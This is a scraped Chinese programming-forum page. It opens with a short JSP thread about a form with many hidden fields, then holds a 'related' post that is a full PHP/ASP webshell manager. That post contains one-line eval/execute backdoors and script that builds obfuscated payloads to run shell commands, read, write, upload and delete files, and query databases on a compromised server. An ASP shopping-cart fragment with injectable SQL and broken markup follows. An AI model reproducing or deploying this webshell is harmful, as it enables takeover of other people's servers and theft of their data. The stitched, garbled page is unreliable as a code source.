提交的表单中包含了>=175个隐藏字段,结果submit按钮就不起作用了,怎么回事?

Ryoko 2004-10-11 07:05:38
小于175就按钮go就可以提交到test2.jsp中,大于等于175的话按钮完全没反应,请高手解答!

测试代码:test1.jsp:
<body bgcolor="#ffffff">
<form name="myForm" action="test2.jsp">
<% for (int i = 0; i < 175; i++){%>
<input type="hidden" name="param<%=i%>" value="<%=i%>">
<%}%>
<input type="submit" value="go">
</form>
</body>
测试代码test2.jsp
<body bgcolor="#ffffff">
<% int count = 0;
while (request.getParameter("param" + count) != null)
{
%>
<%=request.getParameter("param" + count)%>
<br>
<% count++;}%>
</body>
...全文
98 2 打赏 收藏 举报
写回复
2 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
yunxiang 2004-10-11
不是很明白你的意思。
<input type="hidden" name="param1" value="1">
<input type="hidden" name="param2" value="2">
<input type="hidden" name="param3" value="3">



<input type="hidden" name="param175" value="175">
<input type="hidden" name="param176" value="176">
<input type="submit" value="go">
你到底想根据什么判断是否提交啊?
  • 打赏
  • 举报
回复
Diesang 2004-10-11
把form的method改为post就可以了,默认的是get,对url长度好像有限制还是什么的
  • 打赏
  • 举报
回复
相关推荐
asp php 一起使用的SHELL 工具 <HTML><HEAD> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>PHP+ASP</title> </HEAD> <style> <!-- td {font-size:8pt; color: #666666;font-family:Verdana} INPUT {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff} textarea {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff} select {font-size:9pt;BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; COLOR: #666666; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff} BODY {font-size:9pt; color: #666666;font-family:Verdana; SCROLLBAR-FACE-COLOR: #ffffff; background color:#eeeeee;cursor:SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; SCROLLBAR-SHADOW-COLOR: #aaaaaa; SCROLLBAR-3DLIGHT-COLOR: #aaaaaa; SCROLLBAR-ARROW-COLOR: #dddddd; SCROLLBAR-TRACK-COLOR: #ffffff; SCROLLBAR-DARKSHADOW-COLOR: #ffffff } a:link {text-decoration:none; color:#336699} a:visited {text-decoration:none; color:#336699} a:active {text-decoration:none; color:#336699} a:hover {COLOR: #b4c8d8; } .tb {BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid;background-color:#cccccc} .tb0 {BORDER-RIGHT: #cccccc 1px solid; BORDER-TOP: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; BORDER-BOTTOM: #cccccc 1px solid;background-color:#fcfcfc} .tb1 {background-color:#ffffff} </style> --> </STYLE> <BODY 9pt" bgcolor="#cccccc">
="#000080"> lanker微型PHP+ASP管理器1.0=#ff3300>双用版
="1" color="#000080"> <FORM name=frm method=post target=qq2>
=750 height=10>木马地址: <INPUT size=60 value=http://127.0.0.1/up/nihao2.asp name=act id=act> 密码: <INPUT size=10 value=cmd name=para>生成器:<textarea rows='1' name='tmpcmd' cols='23'><?php eval($_POST[cmd];?></textarea></TD>
=750 >
=#ffffff>=200 height=10> =260>
="yunxing" >=#ff3300>LANKER微型PHP后门服务端代码:
<?php eval($_POST[cmd]);?>
="1" color="#000080">
ASP后门服务端代码:
<%execute(request("cmd"))%>
<IFRAME border=1 height=340 width=580 name=qq2 marginwidth=0 marginheight=0 vspace=0 src="about:blank" frameborder=no scrolling=auto></IFRAME>
</form>
="1" color="#000000">
=#ff3300>声明:此版为内部版,未经授权允许严禁传给他人和提供公开下载!谢谢合作!By lanker
</BODY></HTML> [removed] function showDiv(aa){ switch(aa) { case "1": yunxing[removed]="PHP环境变量<br>" yunxing[removed]+="

='center'><INPUT type=button value='提 交' name=Send><br>








" break; case "3": yunxing[removed]="<p align='center'>执行函数:<select name='execfun'><option value='system' selected>system</option><option value='passthru'>passthru</option><option value='`'>特殊符(`)</option><option value='shell_exec'>shell_exec</option><option value='exec'>exec</option><option value='popen'>popen</option></select><br><br><INPUT size=20 name=\\"cmdname\">
<INPUT type=button value='提 交' name=Send><br>








" break; case "4": yunxing[removed]="文件路径(不填为当前目录)<br><input type=text name='uploaddir' value='C:/Inetpub/wwwroot/shell.asp' size=20><p align='center'><input NAME='LanKerF' TYPE='file' size=13><br><INPUT onclick='Javascipt:frm.tmpcmd.name=frm.para.value;frm.action=document.all.act.value;upfile();frm.tmpcmd.name=tmpcmd' type=button value='提 交' name=Send><br>asp的不用点浏览,<br><br>直接提交<br>然后可以上传了<br>asp的必须带文件名<br><br>" break; case "5": yunxing[removed]="<p align='center'>文件名:<br><INPUT size=20 name=\\"duqu\">
<INPUT type=button value='提 交' name=Send><br>








" break; case "6": yunxing[removed]="<p align='center'>目录名:<br><INPUT size=20 name=\\"duqu\">
<INPUT type=button value='提 交' name=Send><br>








" break; case "7": yunxing[removed]="<p align='center'>文件1:<br><INPUT size=20 name=\\"file1\">
文件2:
<INPUT size=20 name=\"file2\"><br><INPUT type=button value='提 交' name=Send><br>








" break; case "8": yunxing[removed]="<p align='center'>文件1:<br><INPUT size=20 name=\\"file1\">
文件2:
<INPUT size=20 name=\"file2\"><br><INPUT type=button value='提 交' name=Send><br>








" break; case "9": yunxing[removed]="<p align='center'>文件名:<br><INPUT size=20 name=\\"filen\">
<INPUT type=button value='提 交' name=Send><br>








" break; case "10": yunxing[removed]="<p align='center'><textarea rows='12' name='duqu' cols='22'>phpinfo();</textarea>" yunxing[removed]+="<INPUT type=button value='提 交' name=Send><br>
符转换工具:


='1' color='#000000'>要转换的符:
<INPUT type=text name=\"inputstr\" size='23' ><br>转换后的符:
<textarea cols='22' rows=\"4\" name=\"chrstr\" ></textarea>
<INPUT type=button name=strtxtdd value=\"转 换\" >" break; case "11": yunxing[removed]="主机:<input NAME=\\"servername\" TYPE=\"text\" value=\"localhost\" size=\"12\" >
数据库:<input NAME=\"dbname\" TYPE=\"text\" value size=\"10\" >  
用户名:<input NAME=\"dbusername\" TYPE=\"text\" value=\"root\" size=\"10\" > 
密码:<input NAME=\"dbpassword\" TYPE=\"text\" value size=\"12\" >  
SQL语句:
<textarea rows=\"8\" name=\"sql\" cols=\"20\" ></textarea>" yunxing[removed]+="
<INPUT type=button value='提 交' name=Send>" break; case "12": yunxing[removed]="<p align='center'>文件名:<INPUT size=14 name=\\"filen\">
文件内容:
<textarea rows=\"16\" name=\"filec\" cols=\"20\" ></textarea>
<INPUT type=button value='提 交' name=Send>" break; case "13": yunxing[removed]="<p align='center'>文件名:<br><INPUT size=20 name=\\"filen\">
<INPUT type=button value='提 交' name=Send><br>" break; case "14": yunxing[removed]="<p align='center'>目录名:<br><INPUT size=20 name=\\"dir\">
<INPUT type=button value='提 交' name=Send><br>








" break; case "15": yunxing[removed]="<p align='center'>目录名:<br><INPUT size=20 name=\\"dir\">
<INPUT type=button value='提 交' name=Send><br>








" break; } } function cmd(){ if(getString()) { if (frm.execfun.value =='`'){ frm.tmpcmd.value="$cmd=" frm.tmpcmd.value+=duqu(frm.cmdname.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="echo chr(60).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(32).chr(99).chr(111).chr(108).chr(115).chr(61).chr(56).chr(48).chr(32).chr(114).chr(111).chr(119).chr(115).chr(61).chr(50).chr(54).chr(62);\n" frm.tmpcmd.value+="echo" frm.tmpcmd.value+=frm.execfun.value frm.tmpcmd.value+="$cmd" frm.tmpcmd.value+=frm.execfun.value frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="echo chr(60).chr(47).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(62);\n" } else{ frm.tmpcmd.value="$cmd=" frm.tmpcmd.value+=duqu(frm.cmdname.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="echo chr(60).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(32).chr(99).chr(111).chr(108).chr(115).chr(61).chr(56).chr(48).chr(32).chr(114).chr(111).chr(119).chr(115).chr(61).chr(50).chr(54).chr(62);\n" frm.tmpcmd.value+="echo " frm.tmpcmd.value+=frm.execfun.value frm.tmpcmd.value+="($cmd);\n" frm.tmpcmd.value+="echo chr(60).chr(47).chr(116).chr(101).chr(120).chr(116).chr(97).chr(114).chr(101).chr(97).chr(62);\n" } } else { frm.tmpcmd.value="set objshell=server.createobject(\\\\\\\\"wscript.shell\")\n" frm.tmpcmd.value+="objshell.run(\"cmd.exe /c " frm.tmpcmd.value+=frm.cmdname.value frm.tmpcmd.value+=" > \"&Server;.MapPath(\".\")&\"\\25852.txt\")\n" frm.tmpcmd.value+="response.write \"<IFRAME height=340 width=580 src='25852.txt'></IFRAME>\"" } } function readfile(){ if(getString()) { frm.tmpcmd.value="$filename=" frm.tmpcmd.value+=duqu(frm.duqu.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$s=chr(60).chr(112).chr(114).chr(101).chr(62);\n" frm.tmpcmd.value+="$e=chr(60).chr(47).chr(112).chr(114).chr(101).chr(62);\n" frm.tmpcmd.value+="$fp=@fopen($filename,r);\n" frm.tmpcmd.value+="$contents=@fread($fp, filesize($filename));\n" frm.tmpcmd.value+="@fclose($fp);\n" frm.tmpcmd.value+="$contents=htmlspecialchars($contents);\n" frm.tmpcmd.value+="echo $s.$contents.$e;\n" } else { frm.tmpcmd.value="function streamReadFromFile(thePath)\\\\\\\\n" frm.tmpcmd.value+="dim stream\n" frm.tmpcmd.value+="set stream=server.createObject(\"adodb.stream\")\n" frm.tmpcmd.value+="with stream\n" frm.tmpcmd.value+=".type=2\n" frm.tmpcmd.value+=".mode=3\n" frm.tmpcmd.value+=".open\n" frm.tmpcmd.value+="on error resume next\n" frm.tmpcmd.value+=".loadFromFile thePath\n" frm.tmpcmd.value+="chkErr err,\"文件无法被打开,请重试!\"\n" frm.tmpcmd.value+=".charset=\"gb2312\"\n" frm.tmpcmd.value+="chkErr err,\"编码类型错误!\"\n" frm.tmpcmd.value+=".Position=2\n" frm.tmpcmd.value+="streamReadFromFile=.readText()\n" frm.tmpcmd.value+=".close\n" frm.tmpcmd.value+="end with\n" frm.tmpcmd.value+="set stream=nothing\n" frm.tmpcmd.value+="end function\n" frm.tmpcmd.value+="response.write \"<textarea name=fileContent cols=70 rows=25 id=fileContent>\"&server;.htmlEncode(streamReadFromFile(\"" frm.tmpcmd.value+=frm.duqu.value frm.tmpcmd.value+="\"))&\"</textarea>\"\n" } } function readdir(){ if(getString()) { frm.tmpcmd.value="$dir=" frm.tmpcmd.value+=duqu(frm.duqu.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$f = chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="$dir=@dir($dir);" frm.tmpcmd.value+="if($dir) " frm.tmpcmd.value+="{" frm.tmpcmd.value+=" echo path_______.$dir->path.$f;" frm.tmpcmd.value+=" while($entry=$dir->read())" frm.tmpcmd.value+=" {" frm.tmpcmd.value+=" echo ____.$entry.$f; " frm.tmpcmd.value+=" }" frm.tmpcmd.value+=" $dir->close();" frm.tmpcmd.value+="}" frm.tmpcmd.value+="else" frm.tmpcmd.value+="{echo 0;}" } else { frm.tmpcmd.value="thePath=\\\\\\\\"" frm.tmpcmd.value+=frm.duqu.value frm.tmpcmd.value+="\"\ndim ext,flag,list,theHref,theFiles,fileName,theFolder,theFolders\n" frm.tmpcmd.value+="set fso=server.CreateObject(\"Scripting.filesystemobject\")\n" frm.tmpcmd.value+="set theFolder=fso.getFolder(thePath)\n" frm.tmpcmd.value+="set theFiles=theFolder.files\n" frm.tmpcmd.value+="set theFolders=theFolder.subFolders\n" frm.tmpcmd.value+="for each list in theFolders\n" frm.tmpcmd.value+="Response.Write list.path\n" frm.tmpcmd.value+="Response.Write \"
\"\n" frm.tmpcmd.value+="next\n" frm.tmpcmd.value+="for each list in theFiles\n" frm.tmpcmd.value+="Response.Write list.path\n" frm.tmpcmd.value+="Response.Write \"
\"\n" frm.tmpcmd.value+="next" } } function SQL(){ frm.tmpcmd.value="$message=chr(102).chr(97).chr(105).chr(108).chr(33);\\\\\\\\n" frm.tmpcmd.value+="$fgf=chr(32);\n" if(frm.dbpassword.value !=''){ frm.tmpcmd.value+="$dbpassword= " frm.tmpcmd.value+=duqu(frm.dbpassword.value) frm.tmpcmd.value+=";\n" } frm.tmpcmd.value+="$servername=" frm.tmpcmd.value+=duqu(frm.servername.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$dbusername=" frm.tmpcmd.value+=duqu(frm.dbusername.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$dbname=" frm.tmpcmd.value+=duqu(frm.dbname.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$sql=" frm.tmpcmd.value+=duqu(frm.sql.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="@mysql_connect($servername,$dbusername,$dbpassword) or die($message);\n" frm.tmpcmd.value+="@mysql_select_db($dbname) or die($message);\n" frm.tmpcmd.value+="$sql=stripslashes($sql);\n" frm.tmpcmd.value+="$result = @mysql_query($sql);\n" frm.tmpcmd.value+="while($row=mysql_fetch_array($result,MYSQL_BOTH)){\n" frm.tmpcmd.value+="for($j=0;$j="print($row[$j].$fgf);}\n" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);}\n" frm.tmpcmd.value+="mysql_free_result($result);\n" frm.tmpcmd.value+="mysql_close();\n" } function createfile(){ if(getString()) { frm.tmpcmd.value="$filen=" frm.tmpcmd.value+=duqu(frm.filen.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$filec=" frm.tmpcmd.value+=duqu(frm.filec.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$a=chr(119);\n" frm.tmpcmd.value+="$fp=@fopen($filen,$a);\n" frm.tmpcmd.value+="$msg=@fwrite($fp,$filec);\n" frm.tmpcmd.value+="if($msg) echo chr(79).chr(75).chr(33);\n" frm.tmpcmd.value+="@fclose($fp);\n" } else { frm.tmpcmd.value="dim fso,filepath,writefile,aaa\\\\\\\\n" frm.tmpcmd.value+="set fso=server.CreateObject(\"Scripting.filesystemobject\")\n" frm.tmpcmd.value+="filepath=\"" frm.tmpcmd.value+=frm.filen.value frm.tmpcmd.value+="\"\nSet Writefile = fso.CreateTextFile(filepath,true)\n" frm.tmpcmd.value+="Writefile.Write Request.form(\"filec\")\n" frm.tmpcmd.value+="Writefile.close\n" frm.tmpcmd.value+="set fso=nothing\n" frm.tmpcmd.value+="response.write \"成功\"" } } function copyfile(){ if(getString()) { frm.tmpcmd.value="$file1=" frm.tmpcmd.value+=duqu(frm.file1.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$file2=" frm.tmpcmd.value+=duqu(frm.file2.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if (@copy($file1,$file2)) echo chr(79).chr(75).chr(33);\n" } else { frm.tmpcmd.value="set fso=server.CreateObject(\\\\\\\\"Scripting.filesystemobject\")\n" frm.tmpcmd.value+="file1=\"" frm.tmpcmd.value+=frm.file1.value frm.tmpcmd.value+="\"\nfile2=\"" frm.tmpcmd.value+=frm.file2.value frm.tmpcmd.value+="\"\nfso.copyFile file1,file2\n" frm.tmpcmd.value+="response.write file2&\"成功\"" } } function renamefile(){ frm.tmpcmd.value="$file1=" frm.tmpcmd.value+=duqu(frm.file1.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$file2=" frm.tmpcmd.value+=duqu(frm.file2.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if (@rename($file1,$file2)) echo chr(79).chr(75).chr(33);\n" } function downfile(){ if(getString()) { frm.tmpcmd.value="$df=" frm.tmpcmd.value+=duqu(frm.filen.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="$f=chr(46);" frm.tmpcmd.value+="$h=chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(116).chr(121).chr(112).chr(101).chr(58).chr(32).chr(97).chr(112).chr(112).chr(108).chr(105).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(47).chr(120).chr(45);\n" frm.tmpcmd.value+="$h1=chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(68).chr(105).chr(115).chr(112).chr(111).chr(115).chr(105).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(97).chr(116).chr(116).chr(97).chr(99).chr(104).chr(109).chr(101).chr(110).chr(116).chr(59).chr(32).chr(102).chr(105).chr(108).chr(101).chr(110).chr(97).chr(109).chr(101).chr(61);\n" frm.tmpcmd.value+="$h2=(68).chr(101).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(80).chr(72).chr(80).chr(51).chr(32).chr(71).chr(101).chr(110).chr(101).chr(114).chr(97).chr(116).chr(101).chr(100).chr(32).chr(68).chr(97).chr(116).chr(97);\n" frm.tmpcmd.value+="$h3=chr(67).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(45).chr(76).chr(101).chr(110).chr(103).chr(116).chr(104).chr(58);\n" frm.tmpcmd.value+="$fn = @basename($df);\n" frm.tmpcmd.value+="$fe = $finfo[count($finfo)-1];\n" frm.tmpcmd.value+="$finfo = explode($f, $fn);\n" frm.tmpcmd.value+="header($h.$fe);\n" frm.tmpcmd.value+="header($h1.$fn);\n" frm.tmpcmd.value+="header($h2);\n" frm.tmpcmd.value+="header($h3.filesize($df));\n" frm.tmpcmd.value+="@readfile($df);\n" frm.tmpcmd.value+="exit;\n" } else { frm.tmpcmd.value="thePath=\\\\\\\\"" frm.tmpcmd.value+=frm.filen.value frm.tmpcmd.value+="\"\ndim stream,fileName,fileContentType\n" frm.tmpcmd.value+="fileName=split(thePath,\"\\\")(uBound(split(thePath,\"\\\")))\n" frm.tmpcmd.value+="set stream=server.createObject(\"adodb.stream\")\n" frm.tmpcmd.value+="stream.open\n" frm.tmpcmd.value+="stream.type=1\n" frm.tmpcmd.value+="stream.loadFromFile(thePath)\n" frm.tmpcmd.value+="Select Case lcase(Right(fileName, 4))\n" frm.tmpcmd.value+="Case \".asf\"\n" frm.tmpcmd.value+="ContentType = \"video/x-ms-asf\" \n" frm.tmpcmd.value+="Case \".avi\"\n" frm.tmpcmd.value+="ContentType = \"video/avi\"\n" frm.tmpcmd.value+="Case \".doc\"\n" frm.tmpcmd.value+="ContentType = \"application/msword\"\n" frm.tmpcmd.value+="Case \".zip\"\n" frm.tmpcmd.value+="ContentType = \"application/zip\"\n" frm.tmpcmd.value+="Case \".xls\"\n" frm.tmpcmd.value+="ContentType = \"application/vnd.ms-excel\"\n" frm.tmpcmd.value+="Case \".gif\"\n" frm.tmpcmd.value+="ContentType = \"image/gif\"\n" frm.tmpcmd.value+="Case \".jpg\", \"jpeg\"\n" frm.tmpcmd.value+="ContentType = \"image/jpeg\"\n" frm.tmpcmd.value+="Case \".wav\"\n" frm.tmpcmd.value+="ContentType = \"audio/wav\"\n" frm.tmpcmd.value+="Case \".mp3\"\n" frm.tmpcmd.value+="ContentType = \"audio/mpeg3\"\n" frm.tmpcmd.value+="Case \".mpg\", \"mpeg\"\n" frm.tmpcmd.value+="ContentType = \"video/mpeg\"\n" frm.tmpcmd.value+="Case \".rtf\"\n" frm.tmpcmd.value+="ContentType = \"application/rtf\"\n" frm.tmpcmd.value+="Case \".htm\", \"html\"\n" frm.tmpcmd.value+="ContentType = \"text/html\"\n" frm.tmpcmd.value+="Case \".txt\"\n" frm.tmpcmd.value+="ContentType = \"text/plain\"\n" frm.tmpcmd.value+="Case Else \n" frm.tmpcmd.value+="ContentType = \"application/octet-stream\"\n" frm.tmpcmd.value+="End Select\n" frm.tmpcmd.value+="response.addHeader \"Content-Disposition\", \"attachment; filename=\" & fileName\n" frm.tmpcmd.value+="response.addHeader \"Content-Length\",stream.Size\n" frm.tmpcmd.value+="response.charset=\"UTF-8\"\n" frm.tmpcmd.value+="response.contentType=fileContentType\n" frm.tmpcmd.value+="response.binaryWrite stream.read\n" frm.tmpcmd.value+="response.flush\n" frm.tmpcmd.value+="stream.close\n" frm.tmpcmd.value+="set stream=nothing" } } function delfile(){ if(getString()) { frm.tmpcmd.value="$filen=" frm.tmpcmd.value+=duqu(frm.filen.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if(@unlink($filen)) echo chr(79).chr(75).chr(33);" } else { frm.tmpcmd.value="thePath=\\\\\\\\"" frm.tmpcmd.value+=frm.filen.value frm.tmpcmd.value+="\"\nset fso=server.CreateObject(\"Scripting.filesystemobject\")\n" frm.tmpcmd.value+="dim theFile\n" frm.tmpcmd.value+="set theFile=fso.getFile(thePath)\n" frm.tmpcmd.value+="theFile.delete true\n" frm.tmpcmd.value+="set theFile=nothing\n" frm.tmpcmd.value+="Response.Write thePath" } } function createdir(){ if(getString()) { frm.tmpcmd.value="$dirs=" frm.tmpcmd.value+=duqu(frm.dir.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if(@mkdir($dirs,0777)) echo chr(79).chr(75).chr(33);" } else { frm.tmpcmd.value="set fso=server.CreateObject(\\\\\\\\"Scripting.filesystemobject\")\n" frm.tmpcmd.value+="fso.CreateFolder (\"" frm.tmpcmd.value+=frm.dir.value frm.tmpcmd.value+="\")\n" frm.tmpcmd.value+="Response.Write \"文件夹名为\" & fso.GetBaseName(\"" frm.tmpcmd.value+=frm.dir.value frm.tmpcmd.value+="\")" } } function rmdir(){ if(getString()) { frm.tmpcmd.value="$dirs=" frm.tmpcmd.value+=duqu(frm.dir.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value+="if(@rmdir($dirs)) echo chr(79).chr(75).chr(33);" } else { frm.tmpcmd.value="set fso=server.CreateObject(\\\\\\\\"Scripting.filesystemobject\")\n" frm.tmpcmd.value+="fso.DeleteFolder (\"" frm.tmpcmd.value+=frm.dir.value frm.tmpcmd.value+="\")\n" frm.tmpcmd.value+="Response.Write \"文件夹已删除\"" } } function upfile(){ if(getString()) { document.frm.encoding ='multipart/form-data'; frm.tmpcmd.value="$uploaddir=" frm.tmpcmd.value+=duqu(frm.uploaddir.value) frm.tmpcmd.value+=";\n" frm.tmpcmd.value="if (strlen($uploaddir)<1){\\\\\\\\n" frm.tmpcmd.value+="$updir=$_FILES[LanKerF][name];}\n" frm.tmpcmd.value+="else{\n" frm.tmpcmd.value+="$updir=$uploaddir.chr(47).$_FILES[LanKerF][name];}\n" frm.tmpcmd.value+="if(@copy($_FILES[LanKerF][tmp_name],$updir)) echo upfile.chr(58).$updir.chr(32).chr(32).OK.chr(33);" frm.submit(); document.frm.encoding ='multipart/form-data'; } else { frm.tmpcmd.value="response.write \\\\\\\\"<form action='?cmd=execute(Session(\\\\\\\\"\\\\\\\\"M\\\\\\\\"\\\\\\\\"))' method=post name=f enctype=multipart/form-data><input name=N type=FILE size=40><input type=submit name=id value=上传></form>\"\n" frm.tmpcmd.value+="Session(\"M\")=\"dim i,j,info,stream,streamT,theFile,overWrite,fileContent\"&vbCrLf;&\"fileName=\"\"" frm.tmpcmd.value+=frm.uploaddir.value frm.tmpcmd.value+="\"\"\"&vbCrLf;&\"server.scriptTimeOut=5000\"&vbCrLf;&\"set stream=server.createObject(\"\"adodb.stream\"\")\"&vbCrLf;&\"set streamT=server.createObject(\"\"adodb.stream\"\")\"&vbCrLf;&\"with stream\"&vbCrLf;&\".type=1\"&vbCrLf;&\".mode=3\"&vbCrLf;&\".open\"&vbCrLf;&\".write request.binaryRead(request.totalBytes)\"&vbCrLf;&\".position=0\"&vbCrLf;&\"fileContent=.read()\"&vbCrLf;&\"i=instrB(fileContent,chrB(13)&chrB;(10))\"&vbCrLf;&\"info=leftB(fileContent,i-1)\"&vbCrLf;&\"i=len(info)+2\"&vbCrLf;&\"i=instrB(i,fileContent,chrB(13)&chrB;(10)&chrB;(13)&chrB;(10))+4-1\"&vbCrLf;&\"j=instrB(i,fileContent,info)-1\"&vbCrLf;&\"streamT.Type=1\"&vbCrLf;&\"streamT.Mode=3\"&vbCrLf;&\"streamT.Open\"&vbCrLf;&\"stream.position=i\"&vbCrLf;&\".copyTo streamT,j-i-2\"&vbCrLf;&\"streamT.saveToFile fileName,2\"&vbCrLf;&\"response.write \"\"文件上传成功\"\"\"&vbCrLf;&\"streamT.close\"&vbCrLf;&\".close\"&vbCrLf;&\"end with\"&vbCrLf;&\"set stream=nothing\"&vbCrLf;&\"set streamT=nothing\"" frm.submit(); } } function ascchar(){ frm.chrstr.value=duqu(frm.inputstr.value) } function info(){ if(getString()) { frm.tmpcmd.value="echo 服务器系统.chr(58);" frm.tmpcmd.value+="echo PHP_OS;" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo 服务器操作系统文编码.chr(58);" frm.tmpcmd.value+="echo $_SERVER[HTTP_ACCEPT_LANGUAGE];" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo 服务器IP.chr(58);" frm.tmpcmd.value+="echo $_SERVER[SERVER_NAME];" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo Web服务端口端口.chr(58);" frm.tmpcmd.value+="echo $_SERVER[SERVER_PORT];" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo PHP运行方式.chr(58);" frm.tmpcmd.value+="echo strtoupper(php_sapi_name());" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo PHP版本.chr(58);" frm.tmpcmd.value+="echo PHP_VERSION;" frm.tmpcmd.value+="echo chr(60).chr(98).chr(114).chr(62);" frm.tmpcmd.value+="echo 本文件路径.chr(58);" frm.tmpcmd.value+="echo $_SERVER[PATH_TRANSLATED];" } else { frm.tmpcmd.value="response.write \\\\\\\\"服务器名————\"&Request;.ServerVariables(\"SERVER_NAME\")\n" frm.tmpcmd.value+="response.write \"
服务器IP————\"&Request;.ServerVariables(\"LOCAL_ADDR\")\n" frm.tmpcmd.value+="response.write \"
服务器端口———\"&Request;.ServerVariables(\"SERVER_PORT\")\n" frm.tmpcmd.value+="response.write \"
服务器时间———\"&now;()\n" frm.tmpcmd.value+="response.write \"
本文件绝对路径—\"&server;.mappath(\".\")\n" frm.tmpcmd.value+="response.write \"
服务器CPU数量—-\"&Request;.ServerVariables(\"NUMBER_OF_PROCESSORS\")\n" frm.tmpcmd.value+="response.write \"
服务器操作系统—\"&Request;.ServerVariables(\"OS\")\n" } } [removed] [removed] function duqu(strcode){ var duqu=""; for(i=1;i="chr("+strcode.charCodeAt(i-1)+")."; } else duqu+=strcode.charAt(i-1)+"."; } if(strcode.charCodeAt(i-1)<256){ duqu+="chr("+strcode.charCodeAt(strcode.length-1)+")"; } else duqu+=strcode.charAt(strcode.length-1); return duqu } [removed] [removed] function getString(){ var isString=document.all.act.value; var isResult=isString.substr(isString.length-4,4); if(isResult==".php") {return 1;} else{return 0} } [removed] [removed]
<% BookIDList = Session("BookIDList")'session(BookIDList)第一次运行为空 ABookID = Split(Request("bookID"), ", ")'ABookID数组存入的是图书的id' For I=0 To UBound(ABookID)'显示数组的最大维数 If Len(BookIDList) = 0 Then BookIDList = "'" & request("bookID") & "'" ElseIf InStr( BookIDList, request("bookID")) 您的购物车为空! 您还没有选购任何书籍,您的购物车为空! <% if request.Form("jiezhang")="保存订单" then response.Redirect("checkout.asp") end if If Len(Session("BookIDList")) 0 Then sql = "Select * From tb_book Where isbn In (" &_ session("bookIDList") & ") Order By isbn" Set rs = cnn.Execute( sql ) else Response.Redirect "buycarempty.asp" end if %> 查看购物车 function stand(){ window.close();} 书号 书 名 单价 数量 金额 移去     <% sl = Request( "sl"&i) If sl = type="text" class="Sytle_auto" id="price" value= size="3" readonly="yes" style="border-left:none;border-right:none;border-top:none"> (元) = type="text" class="Sytle_auto_s" id="sl" onChange="JScript:form1.submit();" value= size="4"> = type="text" class="Sytle_auto" id="je" value= size="6" readonly="yes" style="border-left:none;border-right:none;border-top:none"> (元) ="move.asp?clickBookID="> 合计金额: ="sum" type="text" class="Sytle_auto" id="sum2" value= size="10" readonly="yes"> (元) 清空购物车 <% session("mName")="" if request.Form("UserID")"" and request.Form("userPWD")"" then session("ID1")=request.Form("UserID") session("PWD")=request.Form("userPWD") set rs=Server.CreateObject("ADODB.RecordSet") sql="SELECT userid, password FROM tb_member WHERE userid='" & session("ID1")&"'" set rs=cnn.execute(sql) if rs.eof then %> alert("登录失败!"); window.history.back(); window.location.href="checkoutok.asp" alert("您输入的会员密码错误,请重新输入!"); history.back(); 保存订单信息 //检验会员ID号和密码 function check(){ if (form1.userID.value==""){ alert("请输入会员ID号!");form1.userID.focus();return;} if (form1.userPWD.value==""){ alert("请输入会员密码!");form1.userPWD.focus();return;} form1.submit();} 如果您还不是我们的会员,请单击“注册”按钮注册会员! 会员ID号: 注册 您的密码:   以下是您选购的图书: 书号 书名 单价 数量 金额   (元) (元) 订单保存成功!   <% '返回订单号等信息 orderid=objCmd.Parameters(3) sql1 = "Select * From 